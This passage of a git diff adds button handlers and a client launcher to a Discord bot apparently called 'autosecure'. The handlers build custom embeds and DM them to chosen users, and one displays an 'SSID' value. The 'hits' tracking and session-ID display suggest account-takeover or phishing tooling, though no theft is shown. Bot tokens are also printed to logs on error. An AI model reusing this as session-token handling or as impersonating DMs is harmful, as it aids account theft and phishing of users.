JSON.stringify(button)]) + return interaction.update({ content: `Saved your button` }) + } else { + await queryParams(`UPDATE buttons SET button=? WHERE user_id=?`, [JSON.stringify(button), client.username]) + return interaction.update({ content: `Saved your button` }) + } + } +} \ No newline at end of file diff --git a/Buttons/utils/sendEmbed.js b/Buttons/utils/sendEmbed.js new file mode 100644 index 0000000..50ea6dd --- /dev/null +++ b/Buttons/utils/sendEmbed.js @@ -0,0 +1,18 @@ +const { Client } = require("discord.js"); +let text = { + name: `sendembed`, + userOnly: true, + callback: async (client, interaction) => { + let embed = interaction.message.embeds[0].data + let id = interaction.customId.split("|")[1] + try { + await client.users.fetch(id).then(async user => { + await user.send({ embeds: [embed] }) + }) + return interaction.update({ content: `Sent <@${id}> your message!` }) + } catch (e) { + return interaction.update({ content: `Failed to dm <@${id}> your message!` }) + } + } +}; +module.exports = text; \ No newline at end of file diff --git a/Buttons/utils/ssid.js b/Buttons/utils/ssid.js new file mode 100644 index 0000000..316ec5b --- /dev/null +++ b/Buttons/utils/ssid.js @@ -0,0 +1,14 @@ +module.exports = { + name: "ssid", + callback: async (client, interaction) => { + let ssid = interaction.customId.split("|")[1] + return interaction.reply({ + embeds: [{ + title: `SSID`, + description: "```" + ssid + "```", + color: 0x00ff00 + }], + ephemeral: true + }) + } +} \ No newline at end of file diff --git a/Buttons/utils/text.js b/Buttons/utils/text.js new file mode 100644 index 0000000..6bc7d82 --- /dev/null +++ b/Buttons/utils/text.js @@ -0,0 +1,24 @@ +const { Client } = require("discord.js"); +const modalBuilder = require("../../utils/modalBuilder"); + +let text = { + name: `text`, + userOnly: true, + callback: async (client, interaction) => { + let id = interaction.customId.split("|").slice(1).join("|") + interaction.showModal(modalBuilder( + `text|${id}`, `Message`, [ + { + setCustomId: 'message', + setMaxLength: 2000, + setMinLength: 0, + setRequired: true, + setLabel: "Message", + setPlaceholder: "Your message", + setStyle: 2 + } + ] + )) + } +}; +module.exports = text; diff --git a/Buttons/utils/textEmbed.js b/Buttons/utils/textEmbed.js new file mode 100644 index 0000000..4c79532 --- /dev/null +++ b/Buttons/utils/textEmbed.js @@ -0,0 +1,45 @@ +const { ActionRowBuilder, ButtonBuilder, ButtonStyle } = require("discord.js"); +const { queryParams } = require("../../../db/db"); + +let text = { + name: `textembed`, + userOnly: true, + callback: async (client, interaction) => { + let id = interaction.customId.split("|").slice(1).join("|") + + const title = new ButtonBuilder().setCustomId("title").setLabel("Title").setStyle(ButtonStyle.Primary) + const description = new ButtonBuilder().setCustomId("description").setLabel("Description").setStyle(ButtonStyle.Primary) + const author = new ButtonBuilder().setCustomId("author").setLabel("Author").setStyle(ButtonStyle.Primary) + const authorUrl = new ButtonBuilder().setCustomId("authorurl").setLabel("Author URL").setStyle(ButtonStyle.Primary) + const thumbnai = new ButtonBuilder().setCustomId("thumbnail").setLabel("Thumbnail").setStyle(ButtonStyle.Primary) + const color = new ButtonBuilder().setCustomId("color").setLabel("Color").setStyle(ButtonStyle.Primary) + const imageUrl = new ButtonBuilder().setCustomId("image").setLabel("Image").setStyle(ButtonStyle.Primary) + const footer = new ButtonBuilder().setCustomId("footer").setLabel("Footer").setStyle(ButtonStyle.Primary) + const footerUrl = new ButtonBuilder().setCustomId("footerurl").setLabel("Footer URL").setStyle(ButtonStyle.Primary) + const send = new ButtonBuilder().setCustomId("sendembed|" + id).setLabel("Send").setEmoji("📨").setStyle(ButtonStyle.Success) + let profiles = await queryParams(`SELECT * FROM profiles WHERE user_id=?`, [interaction.user.id]) + if (profiles.length == 0) { + + return interaction.reply({ + embeds: [{ title: `Embed to be sent`, description: `Change the embed using these buttons\n And once you are done, click on the send button!`, color: 0x00ff00 }], + components: [new ActionRowBuilder().addComponents(title, description, author, authorUrl, thumbnai), new ActionRowBuilder().addComponents(imageUrl, footer, footerUrl, color), new ActionRowBuilder().addComponents(send)], + ephemeral: true + }) + } else { + let profs = new ActionRowBuilder() + let i = 1 + for (let profile of profiles) { + if (i > 5) break + profs.addComponents(new ButtonBuilder().setCustomId("fetchprofile|" + profile.id).setLabel("Profile #" + i).setStyle(ButtonStyle.Secondary)) + i++ + } + + return interaction.reply({ + embeds: [{ title: `Embed to be sent`, description: `Change the embed using these buttons\n And once you are done, click on the send button!`, color: 0x00ff00 }], + components: [new ActionRowBuilder().addComponents(title, description, author, authorUrl, thumbnai), new ActionRowBuilder().addComponents(imageUrl, footer, footerUrl, color), new ActionRowBuilder().addComponents(send), profs], + ephemeral: true + }) + } + } +}; +module.exports = text; diff --git a/Buttons/utils/thumbnailUrl.js b/Buttons/utils/thumbnailUrl.js new file mode 100644 index 0000000..b1791e3 --- /dev/null +++ b/Buttons/utils/thumbnailUrl.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "thumbnail", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`thumbnail`, `thumbnail`, [{ + setCustomId: 'thumbnail', + setMaxLength: 4000, + setMinLength: 0, + setRequired: false, + setLabel: "Thumbnail", + setPlaceholder: "Type the desired thumbnail.", + setStyle: TextInputStyle.Short + }])) + } +} \ No newline at end of file diff --git a/Buttons/utils/title.js b/Buttons/utils/title.js new file mode 100644 index 0000000..5d2b6d6 --- /dev/null +++ b/Buttons/utils/title.js @@ -0,0 +1,17 @@ +const { TextInputStyle } = require("discord.js") +const modalBuilder = require("../../utils/modalBuilder") + +module.exports = { + name: "title", + callback: (client, interaction) => { + interaction.showModal(modalBuilder(`title`, `Title`, [{ + setCustomId: 'title', + setMaxLength: 256, + setMinLength: 0, + setRequired: false, + setLabel: "Embed title", + setPlaceholder: "Type the desired embed title.", + setStyle: TextInputStyle.Paragraph + }])) + } +} \ No newline at end of file diff --git a/autosecure.js b/autosecure.js new file mode 100644 index 0000000..ded3b21 --- /dev/null +++ b/autosecure.js @@ -0,0 +1,41 @@ +const discord = require("discord.js"); +const eventHandler = require("./Handlers/eventHandler.js"); +const { queryParams } = require("../db/db.js"); +// Starting discord client +module.exports = async (token, username) => { + try { + let status = await queryParams(`SELECT * FROM autosecure WHERE user_id=?`, [username]) + if (status.length != 0) { + status = status[0].status + } + + let client + if (status) { + client = new discord.Client({ + intents: ["Guilds"], // Adding intents + presence: { + activities: [ + { + name: "fish", + type: discord.ActivityType.Custom, + state: status.split("|")[0], + }, + ], + status: status.split("|")[1] + } + }); + } else { + client = new discord.Client({ + intents: ["Guilds"], // Adding intents + }); + } + client.username = username; + client.hits = new Map(); + eventHandler(client, token); + await client.login(token); + return client; + } catch (e) { + console.log(`${e} | ${token}`) + return false + } +};